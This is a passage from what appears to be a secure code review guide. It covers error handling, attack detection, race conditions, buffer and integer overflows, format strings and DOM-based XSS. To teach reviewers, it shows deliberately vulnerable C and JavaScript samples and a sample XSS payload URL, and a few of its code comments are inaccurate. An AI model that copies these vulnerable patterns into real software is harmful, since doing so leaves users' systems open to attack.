used to release resources referenced by the method that threw the exception. This is very important. An example would be if a method gained a database connection from a pool of connections, and an exception occurred without finally, the connection object shall not be returned to the pool for some time (until the timeout). This can lead to pool exhaustion. finally() is called even if no exception is thrown. A Java example showing finally() being used to release system resources. What to Review: Releasing resources and good housekeeping RAII is Resource Acquisition Is Initialization, which is a way of saying that when you first create an instance of a type, it should be fully setup (or as much as possible) so that it’s in a good state. Another advantage of RAII is how objects are disposed of, effectively when an object instance is no longer needed then it resources are automatically returned when the object goes out of scope (C++) or when it’s ‘using’ block is finished (C# ‘using’ directive which calls the Dispose method, or Java 7’s try-with-resources feature) RAII has the advantage that programmers (and users to libraries) don’t need to explicitly delete objects, the objects will be removed themselves, and in the process of removing themselves (destructor or Dispose) For Classic ASP pages it is recommended to enclose all cleaning in a function and call it into an error handling // Perform generic invalid argument processing and return failure } catch ( const non_even_argument& e ) { // Perform specific processing to make argument even and continue processing } } void perform_fn() { try { // Perform work here } catch ( const MyClassExtendedFromStdException& e) { // Log the exception and continue WriteToUser(“An Error has occurred, put the kettle on”); logger.log(Level.SEVERE, “Unexception exception”, e); } } Sample 20.16 Error Handling 174 statement after an “On Error Resume Next”. Building an infrastructure for consistent error reporting proves more difficult than error handling. Struts provides the ActionMessages and ActionErrors classes for maintaining a stack of error messages to be reported, which can be used with JSP tags like <html: error> to display these error messages to the user. To report a different severity of a message in a different manner (like error, warning, or information) the following tasks are required: 1. Register, instantiate the errors under the appropriate severity 2. Identify these messages and show them in a consistent manner. Struts ActionErrors class makes error handling quite easy: Now that we have added the errors, we display them by using tags in the HTML page. References • For classic ASP pages you need to do some IIS configuration, follow http://support.microsoft.com/ kb/299981 for more information. • For default HTTP error page handling in struts (web.xml) see https://software-security.sans.org/ blog/2010/08/11/security-misconfigurations-java-webxml-files ActionErrors errors = new ActionErrors() errors.add(“fatal”, new ActionError(“....”)); errors.add(“error”, new ActionError(“....”)); errors.add(“warning”, new ActionError(“....”)); errors.add(“information”, new ActionError(“....”)); saveErrors(request,errors); // Important to do this Sample 20.17 <logic:messagePresent property=”error”> <html:messages property=”error” id=”errMsg” > <bean:write name=”errMsg”/> </html:messages> </logic:messagePresent > Sample 20.18 Error Handling 175 How will your code and applications react when something has gone wrong? Many companies that follow secure design and coding principals do so to prevent attackers from getting into their network, however many companies do not consider designing and coding for the scenario where an attacker may have found a vulnerability, or has already exploited it to run code within a companies firewalls (i.e. within the Intranet). Many companies employ SIEM logging technologies to monitor network and OS logs for patterns that detect suspicions activity, this section aims to further encourage application layers and interfaces to do the same. 21.1 Description This section concentrates on: 1. Design and code that allows the user to react when a system is being attacked. 2. Concepts allowing applications to flag when they have been breached. When a company implements secure design and coding, it will have the aim of preventing attackers from misusing the software and accessing information they should not have access to. Input validation checks for SQL injections, XSS, CSRF, etc. should prevent attackers from being able to exploit these types of vulnerabilities against the software. However how should software react when an attacker is attempting to breach the defenses, or the protections have been breached? For an application to alert to security issues, it needs context on what is ‘normal’ and what constitutes a security issue. This will differ based on the application and the context within which it is running. In general applications should not attempt to log every item that occurs as the excessive logging will slow down the system, fill up disk or DB space, and make it very hard to filter through all the information to find the security issue. At the same time, if not enough information is monitored or logged, then security alerting will be very hard to do based on the available information. To achieve this balance an application could use its own risk scoring system, monitoring at a system level what risk triggers have been spotted (i.e. invalid inputs, failed passwords, etc.) and use different modes of logging. Take an example of normal usage, in this scenario only critical items are logged. However if the security risk is perceived to have increased, then major or security level items can be logged and acted upon. This higher security risk could also invoke further security functionality as described later in this section. Take an example where an online form (post authentication) allows a user to enter a month of the year. Here the UI is designed to give the user a drop down list of the months (January through to December). In this case the logged in user should only ever enter one of 12 values, since they typically should not be entering any text, instead they are simply selecting one of the pre-defined drop down values. If the server receiving this form has followed secure coding practices, it will typically check that the form field matches one of the 12 allowed values, and then considers it valid. If the form field does not match, it returns an error, and may log a message in the server. This prevents the attacker from exploiting this particular field, however this is unlikely to deter an attacker and they would move onto other form fields. REVIEWING SECURITY ALERTS Reviewing Security Alerts 176 Reviewing Security Alerts In this scenario we have more information available to us than we have recorded. We have returned an error back to the user, and maybe logged an error on the server. In fact we know a lot more; an authenticated user has entered an invalid value which they should never have been able to do (as it’s a drop down list) in normal usage. This could be due to a few reasons: • There’s a bug in the software and the user is not malicious. • An attacker has stolen the users login credentials and is attempting to attack the system. • A user has logged in but has a virus/trojan which is attempting to attack the system. • A user has logged in but is experiencing a man-in-the-middle attack. • A user is not intending to be malicious but has somehow changed the value with some browser plugin, etc. If it’s the first case above, then the company should know about it to fix their system. If it’s case 2, 3 or 3 then the application should take some action to protect itself and the user, such as reducing the functionality available to the user (i.e. no PII viewable, can’t change passwords, can’t perform financial transactions) or forcing further authentication such as security questions or out-of-band authentication. The system could also alert the user to the fact that the unexpected input was spotted and advise them to run antivirus, etc., thus stopping an attack when it is underway. Obviously care must be taken in limiting user functionality or alerting users encase it’s an honest mistake, so using a risk score or noting session alerts should be used. For example, if everything has been normal in the browsing session and 1 character is out of place, then showing a red pop-up box stating the user has been hacked is not reasonable, however if this is not the usual IP address for the user, they have logged in at an unusual time, and this is the 5th malformed entry with what looks like an SQL injection string, then it would be reasonable for the application to react. This possible reaction would need to be stated in legal documentation. In another scenario, if an attacker has got through the application defenses extracted part of the applications customer database, would the company know? Splitting information in the database into separate tables makes sense from an efficiency point of view, but also from a security view, even putting confidential information into a separate partition can make it harder for the attacker. However if the attacker has the information it can be hard to detect and applications should make steps to aid alerting software (e.g. SIEM systems). Many financial institutions use risk scoring systems to look at elements of the user’s session to give a risk score, if Johnny always logs in at 6pm on a Thursday from the same IP, then we have a trusted pattern. If suddenly Johnny logs in at 2:15am from an IP address on the other side of the world, after getting the password wrong 7 times, then maybe he’s jetlagged after a long trip, or perhaps his account has been hacked. Either way, asking him for out-of-band authentication would be reasonable to allow Johnny to log in, or to block an attacker from using Johnny’s account. If the application takes this to a larger view, it can determine that on a normal day 3% of the users log on in what would be considered a riskier way, i.e. different IP address, different time, etc. If on Thursday it sees this number rise to 23% then has something strange happened to the user base, or has the database been hacked? This type of information can be used to enforce a blanket out-of-band authentication (and internal investigation of the logs) for the 23% of ‘riskier’ users, thereby combining the risk score for the user with the overall risk score for the application. 177 Another good option is ‘honey accounts’ which are usernames and passwords that are never given out to users. These accounts are added just like any other user, and stored in the DB, however they are also recorded in a special cache and checked on login. Since they are never given to any user, no user should ever logon with them, however if one of those accounts are used, then the only way that username password combination could be known is if an attacker got the database, and this information allows the application to move to a more secure state and alert the company that the DB has been hacked. What to Review When reviewing code modules from a security alerting point of view, some common issues to look out for include: • Will the application know if it’s being attacked? Does it ignore invalid inputs, logins, etc. or does it log them and monitor this state to capture a cumulative perception of the current risk to the system? • Can the application automatically change its logging level to react to security threats? Is changing security levels dynamic or does it require a restart? • Does the SDLC requirements or design documentation capture what would constitute a security alert? Has this determination been peer reviewed? Does the testing cycle run through these scenarios? • Does the system employ ‘honey accounts’ such that the application will know if the DB has been compromised? • Is there a risk based scoring system that records the normal usage of users and allows for determination or reaction if the risk increases? • If a SIEM system is being used, have appropriate triggers been identified? Has automated tests been created to ensure those trigger log messages are not accidentally modified by future enhancements or bug fixes? • Does the system track how many failed login attempts a user has experienced? Does the system react to this? • Does certain functionality (i.e. transaction initiation, changing password, etc) have different modes of operation based on the current risk score the application is currently operating within? • Can the application revert back to ‘normal’ operation when the security risk score drops to normal levels? • How are administrators alerted when security risk score rises? Or when a breach has been assumed? At an operational level, is this tested regularly? How are changes of personnel handled? Reviewing Security Alerts 178 Attack detection undertaken at the application layer has access to the complete context of an interaction and enhanced information about the user. If logic is applied within the code to detect suspicious activity (similar to an application level IPS) then the application will know what is a high-value issue and what is noise. Input data are already decrypted and canonicalized within the application and therefore application-specific intrusion detection is less susceptible to advanced evasion techniques. This leads to a very low level of attack identification false positives, providing appropriate detection points are selected. The fundamental requirements are the ability to perform four tasks: 1. Detection of a selection of suspicious and malicious events. 2. Use of this knowledge centrally to identify attacks. 3. Selection of a predefined response. 4. Execution of the response. 22.1 Description Applications can undertake a range of responses that may include high risk functionality such as changes to a user’s account or other changes to the application’s defensive posture. It can be difficult to detect active defense in dynamic analysis since the responses may be invisible to the tester. Code review is the best method to determine the existence of this defense. Other application functionality like authentication failure counts and lock-out, or limits on rate of file uploads are ‘localized’ protection mechanisms. This sort of standalone logic is ‘not’ active defense equivalents in the context of this review, unless they are rigged together into an application-wide sensory network and centralized analytical engine. It is not a bolt-on tool or code library, but instead offers insight to an approach for organizations to specify or develop their own implementations – specific to their own business, applications, environments, and risk profile – building upon existing standard security controls. What to Review In the case where a code review is being used to detect the presence of a defense, its absence should be noted as a weakness. Note that active defense cannot defend an application that has known vulnerabilities, and therefore the other parts of this guide are extremely important. The code reviewer should note the absence of active defense as a vulnerability. The purpose of code review is not necessarily to determine the efficacy of the active defense, but could simply be to determine if such capability exists. Detection points can be integrated into presentation, business and data layers of the application. Application- specific intrusion detection does not need to identify all invalid usage, to be able to determine an attack. There is no need for “infinite data” or “big data” and therefore the location of “detection points” may be very sparse within source code. REVIEW FOR ACTIVE DEFENSE Reviewing for Active Defense 179 A useful approach for identifying such code is to find the name of a dedicated module for detecting suspicious activity (such as OWASP AppSensor). Additionally a company can implement a policy of tagging active defense detection points based on Mitre’s Common Attack Pattern Enumeration and Classifcation (CAPEC), strings such as CAPEC-212, CAPEC-213, etc. The OWASP AppSensor detection point type identifiers and CAPEC codes will often have been used in configuration values (e.g. [https://code.google.com/p/appsensor/source/browse/trunk/AppSensor/src/test/ resources/.esapi/ESAPI.properties?r=53 in ESAPI for Java]), parameter names and security event classification. Also, examine error logging and security event logging mechanisms as these may be being used to collect data that can then be used for attack detection. Identify the code or services called that perform this logging and examine the event properties recorded/sent. Then identify all places where these are called from. An examination of error handling code relating to input and output validation is very likely to reveal the presence of detection points. For example, in a whitelist type of detection point, additional code may have been added adjacent, or within error handling code flow: In some situations attack detection points are looking for blacklisted input, and the test may not exist otherwise, so brand new code is needed. Identification of detection points should also have found the locations where events are recorded (the “event store”). If detection points cannot be found, continue to review the code for execution of response, as this may provide insight into the existence of active defense. The event store has to be analysed in real time or very frequently, in order to identify attacks based on predefined criteria. The criteria should be defined in configuration settings (e.g. in configuration files, or read from another source such as a database). A process will examine the event store to determine if an attack is in progress, typically this will be attempting to identify an authenticated user, but it may also consider a single IP address, range of IP addresses, or groups of users such as one or more roles, users with a particular privilege or even all users. Once an attack has been identified, the response will be selected based on predefined criteria. Again an examination of configuration data should reveal the thresholds related to each detection point, groups of detection points or overall thresholds. The most common response actions are user warning messages, log out, account lockout and administrator notification. However, as this approach is connected into the application, the possibilities of response actions are limited only by the coded capabilities of the application. Search code for any global includes that poll attack identification/response identified above. Response actions (again a user, IP address, group of users, etc) will usually be initiated by the application, but in some cases other applications (e.g. alter a fraud setting) or infrastructure components (e.g. block an IP address range) may also be involved. Examine configuration files and any external communication the application performs. if ( var !Match this ) { Error handling Record event for attack detection } Reviewing for Active Defense 180 The following types of responses may have been coded: • Logging increased • Administrator notification • Other notification (e.g. other system) • Proxy • User status change • User notification • Timing change • Process terminated (same as traditional defenses) • Function disabled • Account log out • Account lock out • Collect data from user. Other capabilities of the application and related system components can be repurposed or extended, to provide the selected response actions. Therefore review the code associated with any localised security measures such as account lock out. References • The guidance for adding active response to applications given in theOWASP_AppSensor_Project • Category: OWASP Enterprise Security API • https://code.google.com/p/appsensor/ AppSensor demonstration code Reviewing for Active Defense 181 Race Conditions occur when a piece of code does not work as it is supposed to (like many security issues). They are the result of an unexpected ordering of events, which can result in the finite state machine of the code to transition to a undefined state, and also give rise to contention of more than one thread of execution over the same resource. Multiple threads of execution acting or manipulating the same area in memory or persisted data which gives rise to integrity issues. 23.1 Description With competing tasks manipulating the same resource, we can easily get a race condition as the resource is not in step-lock or utilises a token based system such as semaphores. For example if there are two processes (Thread 1, T1) and (Thread 2, T2). The code in question adds 10 to an integer X. The initial value of X is 5. X = X + 10 With no controls surrounding this code in a multithreaded environment, the code could experience the following problem: T1 places X into a register in thread 1 T2 places X into a register in thread 2 T1 adds 10 to the value in T1’s register resulting in 15 T2 adds 10 to the value in T2’s register resulting in 15 T1 saves the register value (15) into X. T1 saves the register value (15) into X. The value should actually be 25, as each thread added 10 to the initial value of 5. But the actual value is 15 due to T2 not letting T1 save into X before it takes a value of X for its addition. This leads to undefined behavior, where the application is in an unsure state and therefore security cannot be accurately enforced. What to Review • In C#.NET look for code which used multithreaded environments: o Thread o System.Threading o ThreadPool o System.Threading.Interlocked • In Java code look for o java.lang.Thread o start() o stop() o destroy() o init() o synchronized RACE CONDITIONS Race Conditions 182 Race Conditions o wait() o notify() o notifyAll() • For classic ASP multithreading is not a directly supported feature, so this kind of race condition could be present only when using COM objects. • Static methods and variables (one per class, not one per object) are an issue particularly if there is a shared state among multiple threads. For example, in Apache, struts static members should not be used to store information relating to a particular request. The same instance of a class can be used by multiple threads, and the value of the static member cannot be guaranteed. • Instances of classes do not need to be thread safe as one is made per operation/request. Static states must be thread safe. o References to static variables, these must be thread locked. o Releasing a lock in places other then finally{} may cause issues. o Static methods that alter static state. References • http://msdn2.microsoft.com/en-us/library/f857xew0(vs.71).aspx 183 A buffer is an amount of contiguous memory set aside for storing information. For example if a program has to remember certain things, such as what your shopping cart contains or what data was inputted prior to the current operation. This information is stored in memory in a buffer. Languages like C, C++ (which many operating systems are written in), and Objective-C are extremely efficient, however they allow code to access process memory directly (through memory allocation and pointers) and intermingle data and control information (e.g. in the process stack). If a programmer makes a mistake with a buffer and allows user input to run past the allocated memory, the user input can overwrite program control information and allow the user to modify the execution of the code. Note that Java, C#.NET, Python and Ruby are not vulnerable to buffer overflows due to the way they store their strings in char arrays, of which the bounds are automatically checked by the frameworks, and the fact that they do not allow the programmer direct access to the memory (the virtual machine layer handles memory instead). Therefore this section does not apply to those languages. Note however that native code called within those languages (e.g. assembly, C, C++) through interfaces such as JNI or ‘unsafe’ C# sections can be susceptible to buffer overflows. 24.1 Description To allocate a buffer the code declares a variable of a particular size: • char myBuffer[100]; // large enough to hold 100 char variables • int myIntBuf[5]; // large enough to hold 5 integers • Widget myWidgetArray[17]; // large enough to hold 17 Widget objects As there is no automatic bounds checking code can attempt to add a Widget at array location 23 (which does not exist). When the code does this, the complier will calculate where the 23rd Widget should be placed in memory (by multiplying 23 x sizeof(Widget) and adding this to the location of the ‘myWidgetArray’ pointer). Any other object, or program control variable/register, that existed at this location will be overwritten. Arrays, vectors, etc. are indexed starting from 0, meaning the first element in the container is at ‘myBuffer[0]’, this means the last element in the container is not at array index 100, but at array index 99. This can often lead to mistakes and the ‘off by one’ error, when loops or programming logic assume objects can be written to the last index without corrupting memory. In C, and before the C++ STL became popular, strings were held as arrays of characters: • char nameString[10]; This means that the ‘nameString’ array of characters is vulnerable to array indexing problems described above, and when many of the string manipulation functions (such as strcpy, strcat, described later) are used, the possibility of writing beyond the 10th element allows a buffer overrun and thus memory corruption. As an example, a program might want to keep track of the days of the week. The programmer tells the computer to store a space for 7 numbers. This is an example of a buffer. But what happens if an attempt to add BUFFER OVERRUNS Buffer Overruns 184 Buffer Overruns 8 numbers is performed? Languages such as C and C++ do not perform bounds checking, and therefore if the program is written in such a language, the 8th piece of data would overwrite the program space of the next program in memory, and would result in data corruption. This can cause the program to crash at a minimum or a carefully crafted overflow can cause malicious code to be executed, as the overflow payload is actual code. What to Review: Buffer Overruns C library functions such as strcpy (), strcat (), sprintf () and vsprintf () operate on null terminated strings and perform no bounds checking. gets() is another function that reads input (into a buffer) from stdin until a terminating newline or EOF (End of File) is found. The scanf () family of functions also may result in buffer overflows. Using strncpy(), strncat() and snprintf() functions allows a third ‘length’ parameter to be passed which determines the maximum length of data that will be copied/etc. into the destination buffer. If this is correctly set to the size of the buffer being written to, it will prevent the target buffer being overflowed. Also note fgets() is a replacement for gets(). Always check the bounds of an array before writing it to a buffer. The Microsoft C runtime also provides additional versions of many functions with an ‘_s’ suffix (strcpy_s, strcat_s, sprintf_s). These functions perform additional checks for error conditions and call an error handler on failure. The C code below is not vulnerable to buffer overflow as the copy functionality is performed by ‘strncpy’ which specifies the third argument of the length of the character array to be copied, 10. void copyData(char *userId) { char smallBuffer[10]; // size of 10 strcpy (smallBuffer, userId); } int main(int argc, char *argv[]) { char *userId = “01234567890”; // Payload of 12 when you include the ‘\n’ string termination // automatically added by the “01234567890” literal copyData (userId); // this shall cause a buffer overload } Sample 24.1 void copyData(char *userId) { char smallBuffer[10]; // size of 10 strncpy(smallBuffer, userId, sizeof(smallBuffer)); // only copy first 10 elements smallBuffer[10] = 0; // Make sure it is terminated. } int main(int argc, char *argv[]) { char *userId = “01234567890”; // Payload of 11 copyData (userId); } Sample 24.2 185 Modern day C++ (C++11) programs have access to many STL objects and templates that help prevent security vulnerabilities. The std::string object does not require the calling code have any access to underlying pointers, and automatically grows the underlying string representation (character buffer on the heap) to accommodate the operations being performed. Therefore code is unable to cause a buffer overflow on a std::string object. Regarding pointers (which can be used in other ways to cause overflows), C++11 has smart pointers which again take away any necessity for the calling code to user the underlying pointer, these types of pointers are automatically allocated and destroyed when the variable goes out of scope. This helps to prevent memory leaks and double delete errors. Also the STL containers such as std::vector, std::list, etc., all allocate their memory dynamically meaning normal usage will not result in buffer overflows. Note that it is still possible to access these containers underlying raw pointers, or reinterpret_cast the objects, thus buffer overflows are possible, however they are more difficult to cause. Compliers also help with memory issues, in modern compilers there are ‘stack canaries’ which are subtle elements placed in the complied code which check for out-of-bound memory accesses. These can be enabled when compiling the code, or they could be enabled automatically. There are many examples of these stack canaries, and for some system many choices of stack canaries depending on an organizations appetite for security versus performance. Apple also have stack canaries for iOS code as Objective-C is also susceptible to buffer overflows. In general, there are obvious examples of code where a manual code reviewer can spot the potential for overflows and off-by-one errors, however other memory leaks (or issues) can be harder to spot. Therefore manual code review should be backed up by memory checking programs available on the market. What to Review: Format Function Overruns A format function is a function within the ANSI C specification that can be used to tailor primitive C data types to human readable form. They are used in nearly all C programs to output information, print error messages, or process strings. Some format parameters: The %s in this case ensures that value pointed to by the parameter ‘abc’ is printed as an array of characters. For example: Format String Relevant Input %x Hexadecimal values (unsigned int) %d %u Decimal Unsigned decimal (unsigned int) %n Integer %s Strings ((const) (unsigned) char*) Table 23: Format Function Overruns char* myString = “abc”; printf (“Hello: %s\n”, abc); Buffer Overruns 186 Through supplying the format string to the format function we are able to control the behaviour of it. So supplying input as a format string makes our application do things it’s not meant to. What exactly are we able to make the application do? If we supply %x (hex unsigned int) as the input, the ‘printf’ function shall expect to find an integer relating to that format string, but no argument exists. This cannot be detected at compile time. At runtime this issue shall surface. For every % in the argument the printf function finds it assumes that there is an associated value on the stack. In this way the function walks the stack downwards reading the corresponding values from the stack and printing them to the user. Using format strings we can execute some invalid pointer access by using a format string such as: • printf (“%s%s%s%s%s%s%s%s%s%s%s%s”); Worse again is using the ‘%n’ directive in ‘printf()’. This directive takes an ‘int*’ and ‘writes’ the number of bytes so far to that location. Where to look for this potential vulnerability. This issue is prevalent with the ‘printf()’ family of functions, ‘’printf(),fprintf(), sprintf(), snprintf().’ Also ‘syslog()’ (writes system log information) and setproctitle(const char *fmt, ...); (which sets the string used to display process identifier information). What to Review: Integer Overflows Data representation for integers will have a finite amount of space, for example a short in many languages is 16 bits twos complement number, which means it can hold a maximum number of 32,767 and a minimum number of -32,768. Twos complement means that the very first bit (of the 16) is a representation of whether the number of positive or negative. If the first bit is ‘1’, then it is a negative number. The representation of some boundary numbers are given in table 24. If you add 1 to 32,766, it adds 1 to the representation giving the representation for 32,767 shown above. However if you add one more again, it sets the first bit (a.k.a. most significant bit), which is then interpreted by the system as -32,768. If you have a loop (or other logic) which is adding or counting values in a short, then the application could experience this overflow. Note also that subtracting values below -32,768 also means the number will wrap around to a high positive, which is called underflow. Number Representation 32,766 0111111111111110 32,767 0111111111111111 -32,768 -1 1000000000000000 1111111111111111 Table 24: Integer Overflows Buffer Overruns 187 The binary representation of 0x7fffffff is 1111111111111111111111111111111; this integer is initialized with the highest positive value a signed long integer can hold. Here when we add 1 to the hex value of 0x7fffffff the value of the integer overflows and goes to a negative number (0x7fffffff + 1 = 80000000) In decimal this is (-2147483648). Think of the problems this may cause. Compilers will not detect this and the application will not notice this issue. We get these issues when we use signed integers in comparisons or in arithmetic and also when comparing signed integers with unsigned integers. Here if v2 is a massive negative number the “if” condition shall pass. This condition checks to see if v2 is bigger than the array size. If the bounds check was not performed the line “myArray[v2] = v1” could have assigned the value v1 to a location out of the bounds of the array causing unexpected results. References • See the OWASP article on buffer overflow attacks. #include <stdio.h> int main(void){ int val; val = 0x7fffffff; /* 2147483647*/ printf(“val = %d (0x%x)\n”, val, val); printf(“val + 1 = %d (0x%x)\n”, val + 1 , val + 1); /*Overflow the int*/ return 0; } Sample 24.3 int myArray[100]; int fillArray(int v1, int v2){ if(v2 > sizeof(myArray) / sizeof(int) -1 ){ return -1; /* Too Big */ } myArray [v2] = v1; return 0; } Sample 24.4 Buffer Overruns 188 • See the OWASP Testing Guide on how to test for buffer overflow vulnerabilities. • See Security Enhancements in the CRT: http://msdn2.microsoft.com/en-us/library/8ef0s5kh(VS.80).aspx JavaScript has several known security vulnerabilities, with HTML5 and JavaScript becoming more prevalent in web sites today and with more web sites moving to responsive web design with its dependence on JavaScript the code reviewer needs to understand what vulnerabilities to look for. JavaScript is fast becoming a signif- icant point of entry of hackers to web application. For that reason we have included in the A1 Injection sub section. The most significant vulnerabilities in JavaScript are cross-site scripting (XSS) and Document Object Model, DOM-based XSS. Detection of DOM-based XSS can be challenging. This is caused by the following reasons. • JavaScript is often obfuscated to protect intellectual property. • JavaScript is often compressed out of concerned for bandwidth. In both of these cases it is strongly recommended the code review be able to review the JavaScript before it has been obfuscated and or compressed. This is a huge point of contention with QA software professionals because you are reviewing code that is not in its production state. Another aspect that makes code review of JavaScript challenging is its reliance of large frameworks such as Microsoft .NET and Java Server Faces and the use of JavaScript frameworks, such as JQuery, Knockout, Angular, Backbone. These frameworks aggravate the problem because the code can only be fully analyzed given the source code of the framework itself. These frameworks are usually several orders of magnitude larger then the code the code reviewer needs to review. Because of time and money most companies simple accept that these frameworks are secure or the risks are low and acceptable to the organization. Because of these challenges we recommend a hybrid analysis for JavaScript. Manual source to sink validation when necessary, static analysis with black-box testing and taint testing. First use a static analysis. Code Reviewer and the organization needs to understand that because of event-driv- en behaviors, complex dependencies between HTML DOM and JavaScript code, and asynchronous commu- nication with the server side static analysis will always fall short and may show both positive, false, false –pos- itive, and positive-false findings. Black-box traditional methods detection of reflected or stored XSS needs to be preformed. However this ap- proach will not work for DOM-based XSS vulnerabilities. Taint analysis needs to be incorporated into static analysis engine. Taint Analysis attempts to identify variables that have been ‘tainted’ with user controllable input and traces them to possible vulnerable functions also known Buffer Overruns CLIENT SIDE JavaScript 189 as a ‘sink’. If the tainted variable gets passed to a sink without first being sanitized it is flagged as vulnerability. Second the code reviewer needs to be certain the code was tested with JavaScript was turned off to make sure all client sided data validation was also validated on the server side. Code examples of JavaScript vulnerabilities. Explanation: An attacker can send a link such as “http://hostname/welcome.html#name=<script>alert(1)</ script>” to the victim resulting in the victim’s browser executing the injected client-side code. Line 5 may be a false-positive and prove to be safe code or it may be open to “Open redirect attack” with taint analysis the static analysis should be able to correctly identified if this vulnerability exists. If static analysis relies only on black-box component this code will have flagged as vulnerable requiring the code reviewer to do a complete source to sink review. Additional examples and potential security risks Source: document.url Sink: document.write() Results: Results:document.write(“<script>malicious code</script>”); Cybercriminal may controlled the following DOM elements including document.url,document.location,document.referrer,window.location Source: document.location Sink: windon.location.href Results: windon.location.href = http://www.BadGuysSite; - Client code open redirect. Source: document.url Storage: windows.localstorage.name <html> <script type=”text/javascript”> var pos=document.URL.indexOf(“name=”)+5; document.write( document.URL.substring(pos,document.URL.length)); </script> <html> Sample 25.1 var url = document.location.url; var loginIdx = url.indexOf(‘login’); var loginSuffix = url.substring(loginIdx); url = ‘http://mySite/html/sso/’ + loginSuffix; document.location.url = url; Sample 25.2 Buffer Overruns 190 Sink: elem.innerHTML Results: elem.innerHTML = <value> =Stored DOM-based Cross-site Scripting eval() is prone to security threats, and thus not recommended to be used. Consider these points: 1. Code passed to the eval is executed with the privileges of the executer. So, if the code passed can be affect- ed by some malicious intentions, it leads to running malicious code in a user’s machine with your website’s privileges. 2. A malicious code can understand the scope with which the code passed to the eval was called. 3. You also shouldn’t use eval() or new Function() to parse JSON data. The above if used may raise security threats. JavaScript when used to dynamically evaluate code will create a potential security risk. eval(‘alert(“Query String ‘ + unescape(document.location.search) + ‘”);’); eval(untrusted string); Can lead to code injection or client-side open redirect. JavaScripts “new function” also may create a potential security risk. Three points of validity are required for JavaScript 1. Have all the logic server-side, JavaScript validation be turned off on the client 2. Check for all sorts of XSS DOM Attacks, never trust user data, know your source and sinks (i.e. look at all variables that contain user supplied input). 3. Check for insecure JavaScript libraries and update them frequently. References: • http://docstore.mik.ua/orelly/web/jscript/ch20_04.html • https://www.owasp.org/index.php/Static_Code_Analysis • http://www.cs.tau.ac.il/~omertrip/fse11/paper.pdf • http://www.jshint.com Buffer Overruns 191 APENDIX 192 Code Review Do’s And Dont’s At work we are professions. But we need to make sure that even as professionals that when we do code reviews besides the technical aspects of the code reviews we need to make sure we consider the human side of code reviews. Here is a list of discussion points that code reviewers; peer developers need to take into consideration. This list is not comprehensive but a suggestion starting point for an enterprise to make sure code reviews are effective and not disruptive and a source of discourse. If code reviews become a source of discourse within an organization the effectives of finding security, functional bugs will decline and developers will find a way around the process. Being a good code reviewer requires good social skills, and is a skill that requires practice just like learning to code. • You don’t have to find fault in the code to do a code review. If you always fine something to criticize your comments will loose credibility. • Do not rush a code review. Finding security and functionality bugs is important but other developers or team mem- bers are waiting on you so you need to temper your do not rush with the proper amount urgency. • When reviewing code you need to know what is expected. Are you reviewing for security, functionality, main- tain- ability, and/or style? Does your organization have tools and documents on code style or are you using your own coding style? Does your organization give tools to developers to mark unacceptable coding standards per the organizations own coding standards? • Before beginning a code review does your organization have a defined way to resolve any conflicts that may come up in the code review by the developer and code reviewer? • Does the code reviewer have a define set of artifacts that need to be produce as the result of the code review? • What is the process of the code review when code during the code review needs to be changed? • Is the code reviewer knowledgeable about the domain knowledge of the code that is being reviewed? Ample evidence abounds that code reviews are most effective if the code reviewer is knowledgeable about the do- main of the code I.e. Compliance regularizations for industry and government, business functionality, risks, etc. Agile Software Development Lifecycle CODE REVIEW DO’S AND DONT’S 193 AGILE SOFTWARE DEVELOPMENT LIFECYCLE DESIGN CODE TEST DEPLOY INTERACTION FASE INTERACTION FASE INTERACTION FASE INTERACTION FASE 1 3 2 4 DESIGN CODE TEST DEPLOY DESIGN CODE TEST DEPLOY DESIGN CODE TEST DEPLOY Code Review Do’s And Dont’s 194 Integrating security into the agile sdlc process flow is difficult. The organization will need constant involve- ment from security team and or a dedication to security with well-trained coders on every team. Continuous Integration and Test Driven Development The term ‘Continuous Integration’ originated with the Extreme Programming development process. Today it is one of the best practices of SDLC Agile. CI requires developers to check code into source control management START FINISH/ SIGNED OFF CHECK-IN CODE SAST - AdHoc Static Analysis - Developer Initiated CHECKMARX / SAST SECURITY DEVELOPMENT RECORD METRICS CHECK-IN DEV 6 7 1 5 YES: FIX CODE YES: FAIL NO/FALSE POSITIVE SAST SAST PASS OR FAIL? FALSE POSITIVE SIGNOFF INVOKE SAST ADJUST RULEBASE YES SIGN/OFF? ISR NO: REQUEST FIX/ ESCALATE PASS/FAIL NO PASS TUNED RULES CONTROLLED BY APPSEC YES NO 2 11 3 4 8 SAST PASS OR FAIL? Code Review Do’s And Dont’s 195 application (scm) several times a day. An automated build server and application verify each check-in. The advantage is team members can quickly detect build problems early in the software development process. The disadvantage of CI for the Code Reviewer is while code may build properly; software security vulnerabil- ities may still exist. Code review may be part of the check-in process but review may only to make sure the code only meets the minimum standards of the organization. Code review is not a secure code review with risk assessment approach on what needs to have additional time spent doing a code review. The second disadvantage for the code review is because the organization is moving quickly with Agile process a design flaw may be introduced allowing a security vulnerabilities and the vulnerabilities may get deployed. A red flag for the code reviewer is… 1. No user stories talk about security vulnerabilities based on risk. 2. User stories do not openly describe source and sinks. 3. No risk assessment for the application has been done. Breaking Down Process Areas The term ‘Test Driven Development’ like CI originated with Extreme Programming development process. To- day like CI it is one of the best practices of SDLC Agile. TDD requires developers to rely on repetition of a very short development cycle. First the step is the developer writes an automated test case that defines a needed improvement or new functionality. This first step TDD initial fails the test. Subsequent steps the developers create a minimum amount of code to pass. Finally the developer refactors the new code to the organization acceptable coding standard. BREAKING DOWN PROCESS AREAS AGILE 1 CONTINUOUS INTEGRATION 2 TEST DRIVEN DEVELOPMENT 3 STORY SPRINT BACKLOG 1 TDD: CREATE TEST FIRST CODE UNTIL IT PASSES INTEGRATION: AUTOMATED BUILD AND TESTS IMMEDIATE FEEDBACK ON ISSUES FUNCTIONING PRODUCT PRODUCT BACKLOG STORY 1 STORY 2 SPRINT DAY (MAX) 30 CONTINOUS INTEGRATION PERIOD HOUR (MAX) 24 Code Review Do’s And Dont’s 196 CATEGORY DESCRIPTION PASS FAIL Are there backdoor/unexposed business logic classes? General Is the placement of authentication and authorization check correct? Authorization Are the checks correct implemented? Is there any backdoor parameter? Authorization Is the check applied on all the required files and folder within web root directory? Authorization Are security checks placed before processing inputs? Authorization Incase of container-managed authentication - Is the authentication based on web methods only? Authorization Incase of container-managed authentication - Is the authentication based on web methods only? Authorization Is Password Complexity Check enforced on the password? Authorization Is password stored in an encrypted format? Cryptography Is password disclosed to user/written to a file/logs/console? Authorization Are there unused configurations related to business logic? Business Logic and Design If request parameters are used to identify business logic methods, is there a proper mapping of user privileges and methods/actions allowed to them? Business Logic and Design Check if unexposed instance variables are present in form objects that get bound to user inputs. If present, check if they have 